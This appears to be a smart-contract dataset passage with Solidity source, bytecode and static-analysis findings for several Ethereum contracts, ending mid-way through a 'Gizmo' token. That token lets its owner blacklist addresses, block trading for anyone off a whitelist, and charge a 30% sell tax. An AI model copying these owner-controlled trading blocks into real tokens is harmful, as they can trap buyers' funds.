0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0
) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
function isValidSignatureNow(
address signer,
bytes32 hash,
bytes memory signature
) internal view returns (bool) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
// console.log("Address recovered: ",signer, recovered);
if (error == RecoverError.NoError && recovered == signer) {
return true;
}
(bool success, bytes memory result) = signer.staticcall(
abi.encodeWithSelector(
IERC1271.isValidSignature.selector,
hash,
signature
)
);
return (success &&
result.length == 32 &&
abi.decode(result, (bytes4)) == IERC1271.isValidSignature.selector);
}
function verify(
address account,
bytes32 domainSeparator,
bytes32 hashStruct,
bytes calldata signature
) internal view returns (bool) {
return
isValidSignatureNow(
account,
toTypedDataHash(domainSeparator, hashStruct),
signature
);
}
}
abstract contract Ownable is Context {
uint256 public constant delay = 172_800; // delay for admin change
address private admin;
address private _feeReceiver;
address public pendingAdmin; // pending admin variable
uint256 public changeAdminDelay; // admin change delay variable
event ChangeAdmin(address sender, address newOwner);
event RejectPendingAdmin(address sender, address newOwner);
event AcceptPendingAdmin(address sender, address newOwner);
function onlyOwner() internal view {
require(_msgSender() == admin, "Ownable: caller is not the owner");
}
constructor() {
admin = _msgSender();
_feeReceiver = _msgSender();
}
function changeAdmin(address _admin) external {
onlyOwner();
pendingAdmin = _admin;
changeAdminDelay = block.timestamp + delay;
emit ChangeAdmin(_msgSender(), pendingAdmin);
}
function rejectPendingAdmin() external {
onlyOwner();
if (pendingAdmin != address(0)) {
pendingAdmin = address(0);
changeAdminDelay = 0;
}
emit RejectPendingAdmin(_msgSender(), pendingAdmin);
}
function owner() public view returns (address) {
return admin;
}
function feeReceiver() public view returns (address) {
return _feeReceiver;
}
function setFeeReceiver(address feeReceiver_) external {
onlyOwner();
_feeReceiver = feeReceiver_;
}
function acceptPendingAdmin() external {
onlyOwner();
if (changeAdminDelay > 0 && pendingAdmin != address(0)) {
require(
block.timestamp > changeAdminDelay,
"CoterieMarket: owner apply too early"
);
admin = pendingAdmin;
changeAdminDelay = 0;
pendingAdmin = address(0);
}
emit AcceptPendingAdmin(_msgSender(), admin);
}
}
contract EarlyAdopterValidator is Ownable{
bytes32 public immutable DOMAIN_SEPARATOR;
bytes32 public constant DOMAIN_TYPEHASH =keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
bytes32 public constant EARLYADOPTER_TYPEHASH = keccak256(
"EarlyAdopter(address user,string attestation)"
);
string public name = "Coterie Early Adopter";
string public version = "1";
mapping(address=> bool) public isEarlyAdopter;
constructor() {
DOMAIN_SEPARATOR = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name)), // name
keccak256(bytes(version)), // version
block.chainid,
address(this)
)
);
}
function verify(address user, string calldata attestation,bytes calldata sig )view public returns(bool) {
bytes32 hashStruct = keccak256(abi.encode(EARLYADOPTER_TYPEHASH,user,keccak256(bytes(attestation))));
return SignatureHelper.verify(user,DOMAIN_SEPARATOR, hashStruct,sig);
}
function addEarlyAdopters(address[] calldata users, string calldata attestation, bytes[] calldata sigs) external {
onlyOwner();
require( users.length ==sigs.length, "invalid array");
for(uint256 i=0; i<users.length; i++){
require(verify(users[i], attestation, sigs[i]), "not early user");
isEarlyAdopter[users[i]] = true;
}
}
}
|
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80636a42b8f8116100a2578063996b729d11610071578063996b729d14610233578063b1893f1714610256578063b3f006741461025f578063cbd0f9e314610270578063efdcd9741461029757600080fd5b80636a42b8f8146101fd578063709920c1146102075780638da5cb5b1461020f5780638f2839701461022057600080fd5b80633644e515116100de5780633644e515146101b15780633a0f492e146101d85780634ebf0bcc146101ed57806354fd4d50146101f557600080fd5b806306fdde031461011057806320606b701461012e57806326782247146101635780632dd34f0f1461018e575b600080fd5b6101186102aa565b6040516101259190610db5565b60405180910390f35b6101557f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f81565b604051908152602001610125565b600254610176906001600160a01b031681565b6040516001600160a01b039091168152602001610125565b6101a161019c366004610bf7565b610338565b6040519015158152602001610125565b6101557f4940ef05b3ffb49c786cb3a570a5fdafb07312c1a56a2f54ef32d895d6bb5fd281565b6101eb6101e6366004610c78565b6103ee565b005b6101eb610542565b6101186105b9565b6101556202a30081565b6101eb6105c6565b6000546001600160a01b0316610176565b6101eb61022e366004610bdc565b6106b9565b6101a1610241366004610bdc565b60066020526000908152604090205460ff1681565b61015560035481565b6001546001600160a01b0316610176565b6101557f4f0d368ae198e55f004b423c8a15792f31159565c040db3191a92d33b78e88fd81565b6101eb6102a5366004610bdc565b610735565b600480546102b790610e57565b80601f01602080910402602001604051908101604052809291908181526020018280546102e390610e57565b80156103305780601f1061030557610100808354040283529160200191610330565b820191906000526020600020905b81548152906001019060200180831161031357829003601f168201915b505050505081565b6000807f4f0d368ae198e55f004b423c8a15792f31159565c040db3191a92d33b78e88fd87878760405161036d929190610d68565b60405190819003812061039e9392916020019283526001600160a01b03919091166020830152604082015260600190565b6040516020818303038152906040528051906020012090506103e3877f4940ef05b3ffb49c786cb3a570a5fdafb07312c1a56a2f54ef32d895d6bb5fd283878761075f565b979650505050505050565b6103f66107f0565b84811461043a5760405162461bcd60e51b815260206004820152600d60248201526c696e76616c696420617272617960981b60448201526064015b60405180910390fd5b60005b858110156105395761049587878381811061045a5761045a610ed9565b905060200201602081019061046f9190610bdc565b868686868681811061048357610483610ed9565b905060200281019061019c9190610dc8565b6104d25760405162461bcd60e51b815260206004820152600e60248201526d3737ba1032b0b9363c903ab9b2b960911b6044820152606401610431565b6001600660008989858181106104ea576104ea610ed9565b90506020020160208101906104ff9190610bdc565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061053181610e92565b91505061043d565b50505050505050565b61054a6107f0565b6002546001600160a01b03161561057157600280546001600160a01b031916905560006003555b600254604080513381526001600160a01b0390921660208301527ff6e78b888697ff479ebf2bd530914c94038ef7a63da1fbb639bc6d40a169b13691015b60405180910390a1565b600580546102b790610e57565b6105ce6107f0565b60006003541180156105ea57506002546001600160a01b031615155b1561067757600354421161064c5760405162461bcd60e51b8152602060048201526024808201527f436f74657269654d61726b65743a206f776e6572206170706c7920746f6f206560448201526361726c7960e01b6064820152608401610431565b60028054600080546001600160a01b03199081166001600160a01b0384161782556003919091551690555b600054604080513381526001600160a01b0390921660208301527ff33589017275da9766c166bb90ee92c785a1c4412558882d367fb50165f5185591016105af565b6106c16107f0565b600280546001600160a01b0319166001600160a01b0383161790556106e96202a30042610e0f565b600355600254604080513381526001600160a01b03909216602083015280517fcf9b665e0639e0b81a8db37b60ac7ddf45aeb1b484e11adeb7dff4bf4a3a62589281900390910190a150565b61073d6107f0565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60006107e6866107aa878760405161190160f01b6020820152602281018390526042810182905260009060620160405160208183030381529060405280519060200120905092915050565b85858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061085592505050565b9695505050505050565b6000546001600160a01b0316336001600160a01b0316146108535760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610431565b565b600080600061086485856109a3565b9092509050600081600481111561087d5761087d610ec3565b14801561089b5750856001600160a01b0316826001600160a01b0316145b156108ab5760019250505061099c565b600080876001600160a01b0316631626ba7e60e01b88886040516024016108d3929190610d94565b60408051601f198184030181529181526020820180516001600160e01b03166001600160e01b03199094169390931790925290516109119190610d78565b600060405180830381855afa9150503d806000811461094c576040519150601f19603f3d011682016040523d82523d6000602084013e610951565b606091505b5091509150818015610964575080516020145b801561099557508051630b135d3f60e11b906109899083016020908101908401610d12565b6001600160e01b031916145b9450505050505b9392505050565b6000808251604114156109da5760208301516040840151606085015160001a6109ce87828585610a13565b94509450505050610a0c565b825160401415610a0457602083015160408401516109f9868383610b00565b935093505050610a0c565b506000905060025b9250929050565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0831115610a4a5750600090506003610af7565b8460ff16601b14158015610a6257508460ff16601c14155b15610a735750600090506004610af7565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015610ac7573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610af057600060019250925050610af7565b9150600090505b94509492505050565b6000806001600160ff1b03831681610b1d60ff86901c601b610e0f565b9050610b2b87828885610a13565b935093505050935093915050565b80356001600160a01b0381168114610b5057600080fd5b919050565b60008083601f840112610b6757600080fd5b50813567ffffffffffffffff811115610b7f57600080fd5b6020830191508360208260051b8501011115610a0c57600080fd5b60008083601f840112610bac57600080fd5b50813567ffffffffffffffff811115610bc457600080fd5b602083019150836020828501011115610a0c57600080fd5b600060208284031215610bee57600080fd5b61099c82610b39565b600080600080600060608688031215610c0f57600080fd5b610c1886610b39565b9450602086013567ffffffffffffffff80821115610c3557600080fd5b610c4189838a01610b9a565b90965094506040880135915080821115610c5a57600080fd5b50610c6788828901610b9a565b969995985093965092949392505050565b60008060008060008060608789031215610c9157600080fd5b863567ffffffffffffffff80821115610ca957600080fd5b610cb58a838b01610b55565b90985096506020890135915080821115610cce57600080fd5b610cda8a838b01610b9a565b90965094506040890135915080821115610cf357600080fd5b50610d0089828a01610b55565b979a9699509497509295939492505050565b600060208284031215610d2457600080fd5b81516001600160e01b03198116811461099c57600080fd5b60008151808452610d54816020860160208601610e27565b601f01601f19169290920160200192915050565b8183823760009101908152919050565b60008251610d8a818460208701610e27565b9190910192915050565b828152604060208201526000610dad6040830184610d3c565b949350505050565b60208152600061099c6020830184610d3c565b6000808335601e19843603018112610ddf57600080fd5b83018035915067ffffffffffffffff821115610dfa57600080fd5b602001915036819003821315610a0c57600080fd5b60008219821115610e2257610e22610ead565b500190565b60005b83811015610e42578181015183820152602001610e2a565b83811115610e51576000848401525b50505050565b600181811c90821680610e6b57607f821691505b60208210811415610e8c57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415610ea657610ea6610ead565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fdfea26469706673582212205329d3ad7b559c75119b1a3dce84eb7d2f6539176ccfde1d67a4d69966871b4764736f6c63430008070033
|
{"success": true, "error": null, "results": {}}
| 8,440 |
0x7602ecd2f8ec584c23fc882f1ab572df828445a9
|
pragma solidity ^0.4.19;
contract DigixConstants {
/// general constants
uint256 constant SECONDS_IN_A_DAY = 24 * 60 * 60;
/// asset events
uint256 constant ASSET_EVENT_CREATED_VENDOR_ORDER = 1;
uint256 constant ASSET_EVENT_CREATED_TRANSFER_ORDER = 2;
uint256 constant ASSET_EVENT_CREATED_REPLACEMENT_ORDER = 3;
uint256 constant ASSET_EVENT_FULFILLED_VENDOR_ORDER = 4;
uint256 constant ASSET_EVENT_FULFILLED_TRANSFER_ORDER = 5;
uint256 constant ASSET_EVENT_FULFILLED_REPLACEMENT_ORDER = 6;
uint256 constant ASSET_EVENT_MINTED = 7;
uint256 constant ASSET_EVENT_MINTED_REPLACEMENT = 8;
uint256 constant ASSET_EVENT_RECASTED = 9;
uint256 constant ASSET_EVENT_REDEEMED = 10;
uint256 constant ASSET_EVENT_FAILED_AUDIT = 11;
uint256 constant ASSET_EVENT_ADMIN_FAILED = 12;
uint256 constant ASSET_EVENT_REMINTED = 13;
/// roles
uint256 constant ROLE_ZERO_ANYONE = 0;
uint256 constant ROLE_ROOT = 1;
uint256 constant ROLE_VENDOR = 2;
uint256 constant ROLE_XFERAUTH = 3;
uint256 constant ROLE_POPADMIN = 4;
uint256 constant ROLE_CUSTODIAN = 5;
uint256 constant ROLE_AUDITOR = 6;
uint256 constant ROLE_MARKETPLACE_ADMIN = 7;
uint256 constant ROLE_KYC_ADMIN = 8;
uint256 constant ROLE_FEES_ADMIN = 9;
uint256 constant ROLE_DOCS_UPLOADER = 10;
uint256 constant ROLE_KYC_RECASTER = 11;
uint256 constant ROLE_FEES_DISTRIBUTION_ADMIN = 12;
/// states
uint256 constant STATE_ZERO_UNDEFINED = 0;
uint256 constant STATE_CREATED = 1;
uint256 constant STATE_VENDOR_ORDER = 2;
uint256 constant STATE_TRANSFER = 3;
uint256 constant STATE_CUSTODIAN_DELIVERY = 4;
uint256 constant STATE_MINTED = 5;
uint256 constant STATE_AUDIT_FAILURE = 6;
uint256 constant STATE_REPLACEMENT_ORDER = 7;
uint256 constant STATE_REPLACEMENT_DELIVERY = 8;
uint256 constant STATE_RECASTED = 9;
uint256 constant STATE_REDEEMED = 10;
uint256 constant STATE_ADMIN_FAILURE = 11;
/// interactive contracts
bytes32 constant CONTRACT_INTERACTIVE_ASSETS_EXPLORER = "i:asset:explorer";
bytes32 constant CONTRACT_INTERACTIVE_DIGIX_DIRECTORY = "i:directory";
bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE = "i:mp";
bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE_ADMIN = "i:mpadmin";
bytes32 constant CONTRACT_INTERACTIVE_POPADMIN = "i:popadmin";
bytes32 constant CONTRACT_INTERACTIVE_PRODUCTS_LIST = "i:products";
bytes32 constant CONTRACT_INTERACTIVE_TOKEN = "i:token";
bytes32 constant CONTRACT_INTERACTIVE_BULK_WRAPPER = "i:bulk-wrapper";
bytes32 constant CONTRACT_INTERACTIVE_TOKEN_CONFIG = "i:token:config";
bytes32 constant CONTRACT_INTERACTIVE_TOKEN_INFORMATION = "i:token:information";
bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE_INFORMATION = "i:mp:information";
bytes32 constant CONTRACT_INTERACTIVE_IDENTITY = "i:identity";
/// controller contracts
bytes32 constant CONTRACT_CONTROLLER_ASSETS = "c:asset";
bytes32 constant CONTRACT_CONTROLLER_ASSETS_RECAST = "c:asset:recast";
bytes32 constant CONTRACT_CONTROLLER_ASSETS_EXPLORER = "c:explorer";
bytes32 constant CONTRACT_CONTROLLER_DIGIX_DIRECTORY = "c:directory";
bytes32 constant CONTRACT_CONTROLLER_MARKETPLACE = "c:mp";
bytes32 constant CONTRACT_CONTROLLER_MARKETPLACE_ADMIN = "c:mpadmin";
bytes32 constant CONTRACT_CONTROLLER_PRODUCTS_LIST = "c:products";
bytes32 constant CONTRACT_CONTROLLER_TOKEN_APPROVAL = "c:token:approval";
bytes32 constant CONTRACT_CONTROLLER_TOKEN_CONFIG = "c:token:config";
bytes32 constant CONTRACT_CONTROLLER_TOKEN_INFO = "c:token:info";
bytes32 constant CONTRACT_CONTROLLER_TOKEN_TRANSFER = "c:token:transfer";
bytes32 constant CONTRACT_CONTROLLER_JOB_ID = "c:jobid";
bytes32 constant CONTRACT_CONTROLLER_IDENTITY = "c:identity";
/// storage contracts
bytes32 constant CONTRACT_STORAGE_ASSETS = "s:asset";
bytes32 constant CONTRACT_STORAGE_ASSET_EVENTS = "s:asset:events";
bytes32 constant CONTRACT_STORAGE_DIGIX_DIRECTORY = "s:directory";
bytes32 constant CONTRACT_STORAGE_MARKETPLACE = "s:mp";
bytes32 constant CONTRACT_STORAGE_PRODUCTS_LIST = "s:products";
bytes32 constant CONTRACT_STORAGE_GOLD_TOKEN = "s:goldtoken";
bytes32 constant CONTRACT_STORAGE_JOB_ID = "s:jobid";
bytes32 constant CONTRACT_STORAGE_IDENTITY = "s:identity";
/// service contracts
bytes32 constant CONTRACT_SERVICE_TOKEN_DEMURRAGE = "sv:tdemurrage";
bytes32 constant CONTRACT_SERVICE_MARKETPLACE = "sv:mp";
bytes32 constant CONTRACT_SERVICE_DIRECTORY = "sv:directory";
/// fees distributors
bytes32 constant CONTRACT_DEMURRAGE_FEES_DISTRIBUTOR = "fees:distributor:demurrage";
bytes32 constant CONTRACT_RECAST_FEES_DISTRIBUTOR = "fees:distributor:recast";
bytes32 constant CONTRACT_TRANSFER_FEES_DISTRIBUTOR = "fees:distributor:transfer";
}
contract ContractResolver {
address public owner;
bool public locked;
function init_register_contract(bytes32 _key, address _contract_address) public returns (bool _success);
function unregister_contract(bytes32 _key) public returns (bool _success);
function get_contract(bytes32 _key) public constant returns (address _contract);
}
contract ResolverClient {
/// The address of the resolver contract for this project
address public resolver;
/// The key to identify this contract
bytes32 public key;
/// Make our own address available to us as a constant
address public CONTRACT_ADDRESS;
/// Function modifier to check if msg.sender corresponds to the resolved address of a given key
/// @param _contract The resolver key
modifier if_sender_is(bytes32 _contract) {
require(msg.sender == ContractResolver(resolver).get_contract(_contract));
_;
}
/// Function modifier to check resolver's locking status.
modifier unless_resolver_is_locked() {
require(is_locked() == false);
_;
}
/// @dev Initialize new contract
/// @param _key the resolver key for this contract
/// @return _success if the initialization is successful
function init(bytes32 _key, address _resolver)
internal
returns (bool _success)
{
bool _is_locked = ContractResolver(_resolver).locked();
if (_is_locked == false) {
CONTRACT_ADDRESS = address(this);
resolver = _resolver;
key = _key;
require(ContractResolver(resolver).init_register_contract(key, CONTRACT_ADDRESS));
_success = true;
} else {
_success = false;
}
}
/// @dev Destroy the contract and unregister self from the ContractResolver
/// @dev Can only be called by the owner of ContractResolver
function destroy()
public
returns (bool _success)
{
bool _is_locked = ContractResolver(resolver).locked();
require(!_is_locked);
address _owner_of_contract_resolver = ContractResolver(resolver).owner();
require(msg.sender == _owner_of_contract_resolver);
_success = ContractResolver(resolver).unregister_contract(key);
require(_success);
selfdestruct(_owner_of_contract_resolver);
}
/// @dev Check if resolver is locked
/// @return _locked if the resolver is currently locked
function is_locked()
private
constant
returns (bool _locked)
{
_locked = ContractResolver(resolver).locked();
}
/// @dev Get the address of a contract
/// @param _key the resolver key to look up
/// @return _contract the address of the contract
function get_contract(bytes32 _key)
public
constant
returns (address _contract)
{
_contract = ContractResolver(resolver).get_contract(_key);
}
}
contract Constants {
address constant NULL_ADDRESS = address(0x0);
uint256 constant ZERO = uint256(0);
bytes32 constant EMPTY = bytes32(0x0);
}
contract ACConditions is Constants {
modifier not_null_address(address _item) {
require(_item != NULL_ADDRESS);
_;
}
modifier if_null_address(address _item) {
require(_item == NULL_ADDRESS);
_;
}
modifier not_null_uint(uint256 _item) {
require(_item != ZERO);
_;
}
modifier if_null_uint(uint256 _item) {
require(_item == ZERO);
_;
}
modifier not_empty_bytes(bytes32 _item) {
require(_item != EMPTY);
_;
}
modifier if_empty_bytes(bytes32 _item) {
require(_item == EMPTY);
_;
}
modifier not_null_string(string _item) {
bytes memory _i = bytes(_item);
require(_i.length > 0);
_;
}
modifier if_null_string(string _item) {
bytes memory _i = bytes(_item);
require(_i.length == 0);
_;
}
modifier require_gas(uint256 _requiredgas) {
require(msg.gas >= (_requiredgas - 22000));
_;
}
function is_contract(address _contract)
public
constant
returns (bool _is_contract)
{
uint32 _code_length;
assembly {
_code_length := extcodesize(_contract)
}
if(_code_length > 1) {
_is_contract = true;
} else {
_is_contract = false;
}
}
modifier if_contract(address _contract) {
require(is_contract(_contract) == true);
_;
}
modifier unless_contract(address _contract) {
require(is_contract(_contract) == false);
_;
}
}
contract MarketplaceStorage {
}
contract MarketplaceControllerCommon {
}
contract MarketplaceController {
}
contract MarketplaceAdminController {
}
contract MarketplaceCommon is ResolverClient, ACConditions, DigixConstants {
function marketplace_admin_controller()
internal
constant
returns (MarketplaceAdminController _contract)
{
_contract = MarketplaceAdminController(get_contract(CONTRACT_CONTROLLER_MARKETPLACE_ADMIN));
}
function marketplace_storage()
internal
constant
returns (MarketplaceStorage _contract)
{
_contract = MarketplaceStorage(get_contract(CONTRACT_STORAGE_MARKETPLACE));
}
function marketplace_controller()
internal
constant
returns (MarketplaceController _contract)
{
_contract = MarketplaceController(get_contract(CONTRACT_CONTROLLER_MARKETPLACE));
}
}
contract DigixConstantsExtras {
/// storage contracts
bytes32 constant CONTRACT_STORAGE_MARKETPLACE_EXTRAS = "s:mp:extras";
bytes32 constant CONTRACT_CONTROLLER_MARKETPLACE_ADMIN_EXTRAS = "c:mpadmin:extras";
bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE_V2 = "i:mp:v2";
bytes32 constant CONTRACT_INTERACTIVE_MARKETPLACE_ADMIN_EXTRAS = "i:mpadmin:extras";
}
contract MarketplaceControllerV2 {
function purchase_with_eth(
uint256 _wei_sent,
address _buyer,
uint256 _block_number,
uint256 _nonce,
uint256 _wei_per_dgx_mg,
address _signer,
bytes _signature
) payable public returns (bool _success, uint256 _purchased_amount);
function purchase_with_dai(
uint256 _dai_sent,
address _buyer,
uint256 _block_number,
uint256 _nonce,
uint256 _dai_per_ton,
address _signer,
bytes _signature
) public returns (bool _success, uint256 _purchased_amount);
}
/// @title Digix's Marketplace
/// @author Digix Holdings Pte Ltd
/// @notice This contract is for KYC-approved users to purchase DGX using ETH
contract MarketplaceV2 is MarketplaceCommon, DigixConstantsExtras {
function MarketplaceV2(address _resolver) public
{
require(init(CONTRACT_INTERACTIVE_MARKETPLACE_V2, _resolver));
}
function marketplace_controller_v2()
internal
constant
returns (MarketplaceControllerV2 _contract)
{
_contract = MarketplaceControllerV2(get_contract(CONTRACT_CONTROLLER_MARKETPLACE));
}
/// @dev purchase DGX gold using ETH
/// @param _block_number Block number from DTPO (Digix Trusted Price Oracle)
/// @param _nonce Nonce from DTPO
/// @param _wei_per_dgx_mg Price in wei for one milligram of DGX
/// @param _signer Address of the DTPO signer
/// @param _signature Signature of the payload
/// @return {
/// "_success": "returns true if operation is successful",
/// "_purchased_amount": "DGX nanograms received"
/// }
function purchaseWithEth(uint256 _block_number, uint256 _nonce, uint256 _wei_per_dgx_mg, address _signer, bytes _signature)
payable
public
returns (bool _success, uint256 _purchased_amount)
{
address _sender = msg.sender;
(_success, _purchased_amount) =
marketplace_controller_v2().purchase_with_eth.value(msg.value).gas(600000)(msg.value, _sender, _block_number,
_nonce, _wei_per_dgx_mg, _signer, _signature);
require(_success);
}
/// @dev purchase DGX gold using DAI
/// @param _dai_sent amount of DAI sent
/// @param _block_number Block number from DTPO (Digix Trusted Price Oracle)
/// @param _nonce Nonce from DTPO
/// @param _dai_per_ton Despite the variable name, this is actually the price in DAI for 1000 tonnes of DGXs
/// @param _signer Address of the DTPO signer
/// @param _signature Signature of the payload
/// @return {
/// "_success": "returns true if operation is successful",
/// "_purchased_amount": "DGX nanograms received"
/// }
function purchaseWithDai(uint256 _dai_sent, uint256 _block_number, uint256 _nonce, uint256 _dai_per_ton, address _signer, bytes _signature)
public
returns (bool _success, uint256 _purchased_amount)
{
address _sender = msg.sender;
(_success, _purchased_amount) =
marketplace_controller_v2().purchase_with_dai.gas(800000)(_dai_sent, _sender, _block_number,
_nonce, _dai_per_ton, _signer, _signature);
require(_success);
}
}
|
0x
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
| 8,441 |
0xda4ed7e0f4f9892d5bd5ac1c14d62f7e5914045d
|
//104 116 116 112 115 58 47 47 116 46 109 101 47 65 108 112 104 97 76 97 117 110 99 104 101 115
//ASCII
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Contract is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Gizmo";
string private constant _symbol = "GIZMO";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0; // 0%
uint256 private _buytax = 10; // Buy tax 10%
uint256 private _teamFee;
uint256 private _sellTax = 30; // Launch sell tax 40% for 30mins. Tax goes down 5% for every zero we lose until it goes down to 10%.
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9;
uint256 private _routermax = 5000000000 * 10**9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => bool) private whitelist;
mapping(address => uint256) private cooldown;
address payable private _MarketTax;
address payable private _Dev;
address payable private _DevTax;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private publicsale = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable markettax, address payable devtax, address payable dev) {
_MarketTax = markettax;
_Dev = dev;
_DevTax = devtax;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_MarketTax] = true;
_isExcludedFromFee[_DevTax] = true;
_isExcludedFromFee[_Dev] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if(from != address(this)){
require(amount <= _maxTxAmount);
}
if(!publicsale){
require(whitelist[from] || whitelist[to] || whitelist[msg.sender]);
}
if(from == uniswapV2Pair || from == address(uniswapV2Router)){
_teamFee = _buytax;
}
if(from != uniswapV2Pair && from != address(uniswapV2Router)){
_teamFee = _sellTax;
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _routermax)
{
